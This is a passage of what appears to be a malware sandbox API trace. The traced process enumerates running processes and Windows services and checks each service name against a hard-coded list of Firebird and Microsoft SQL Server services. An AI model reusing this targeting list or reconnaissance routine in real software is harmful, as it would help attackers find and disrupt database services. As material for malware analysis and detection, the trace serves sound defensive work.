dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.690] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.690] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.690] lstrlenW (lpString="dllhost.exe") returned 11 [0166.691] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0166.691] lstrlenW (lpString="winhost.exe") returned 11 [0166.691] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.691] lstrlenW (lpString="cmd.exe") returned 7 [0166.692] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.692] lstrlenW (lpString="conhost.exe") returned 11 [0166.692] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0166.692] lstrlenW (lpString="mode.com") returned 8 [0166.692] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0166.693] CloseHandle (hObject=0x354) returned 1 [0166.693] Sleep (dwMilliseconds=0x1f4) [0167.203] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee00 [0167.204] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0167.204] GetLastError () returned 0xea [0167.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0167.205] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0167.208] CloseServiceHandle (hSCObject=0x6eee00) returned 1 [0167.208] lstrlenW (lpString="Appinfo") returned 7 [0167.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.208] lstrlenW (lpString="AppXSvc") returned 7 [0167.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0167.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0167.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0167.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0167.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0167.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.208] lstrlenW (lpString="Audiosrv") returned 8 [0167.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0167.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0167.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0167.209] lstrlenW (lpString="BFE") returned 3 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.209] lstrlenW (lpString="BITS") returned 4 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0167.209] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0167.209] lstrlenW (lpString="CDPSvc") returned 6 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0167.209] lstrlenW (lpString="ClipSVC") returned 7 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0167.209] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0167.209] lstrlenW (lpString="CryptSvc") returned 8 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.209] lstrlenW (lpString="DcomLaunch") returned 10 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.209] lstrlenW (lpString="Dhcp") returned 4 [0167.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.210] lstrlenW (lpString="Dnscache") returned 8 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.210] lstrlenW (lpString="DoSvc") returned 5 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0167.210] lstrlenW (lpString="DPS") returned 3 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.210] lstrlenW (lpString="DusmSvc") returned 7 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0167.210] lstrlenW (lpString="EventLog") returned 8 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0167.210] lstrlenW (lpString="EventSystem") returned 11 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.210] lstrlenW (lpString="gpsvc") returned 5 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.210] lstrlenW (lpString="iphlpsvc") returned 8 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.210] lstrlenW (lpString="KeyIso") returned 6 [0167.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0167.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0167.211] lstrlenW (lpString="LanmanServer") returned 12 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.211] lstrlenW (lpString="lfsvc") returned 5 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0167.211] lstrlenW (lpString="LicenseManager") returned 14 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0167.211] lstrlenW (lpString="lmhosts") returned 7 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.211] lstrlenW (lpString="LSM") returned 3 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0167.211] lstrlenW (lpString="MpsSvc") returned 6 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.211] lstrlenW (lpString="NcbService") returned 10 [0167.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0167.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0167.211] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0167.211] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0167.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0167.211] lstrlenW (lpString="netprofm") returned 8 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.212] lstrlenW (lpString="NlaSvc") returned 6 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.212] lstrlenW (lpString="nsi") returned 3 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.212] lstrlenW (lpString="PcaSvc") returned 6 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.212] lstrlenW (lpString="PlugPlay") returned 8 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.212] lstrlenW (lpString="Power") returned 5 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.212] lstrlenW (lpString="ProfSvc") returned 7 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.212] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.212] lstrlenW (lpString="RpcSs") returned 5 [0167.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.212] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.212] lstrlenW (lpString="SamSs") returned 5 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.213] lstrlenW (lpString="Schedule") returned 8 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.213] lstrlenW (lpString="SecurityHealthService") returned 21 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0167.213] lstrlenW (lpString="SENS") returned 4 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.213] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.213] lstrlenW (lpString="sppsvc") returned 6 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0167.213] lstrlenW (lpString="SSDPSRV") returned 7 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0167.213] lstrlenW (lpString="StateRepository") returned 15 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0167.213] lstrlenW (lpString="SysMain") returned 7 [0167.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.214] lstrlenW (lpString="SystemEventsBroker") returned 18 [0167.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0167.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0167.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0167.214] 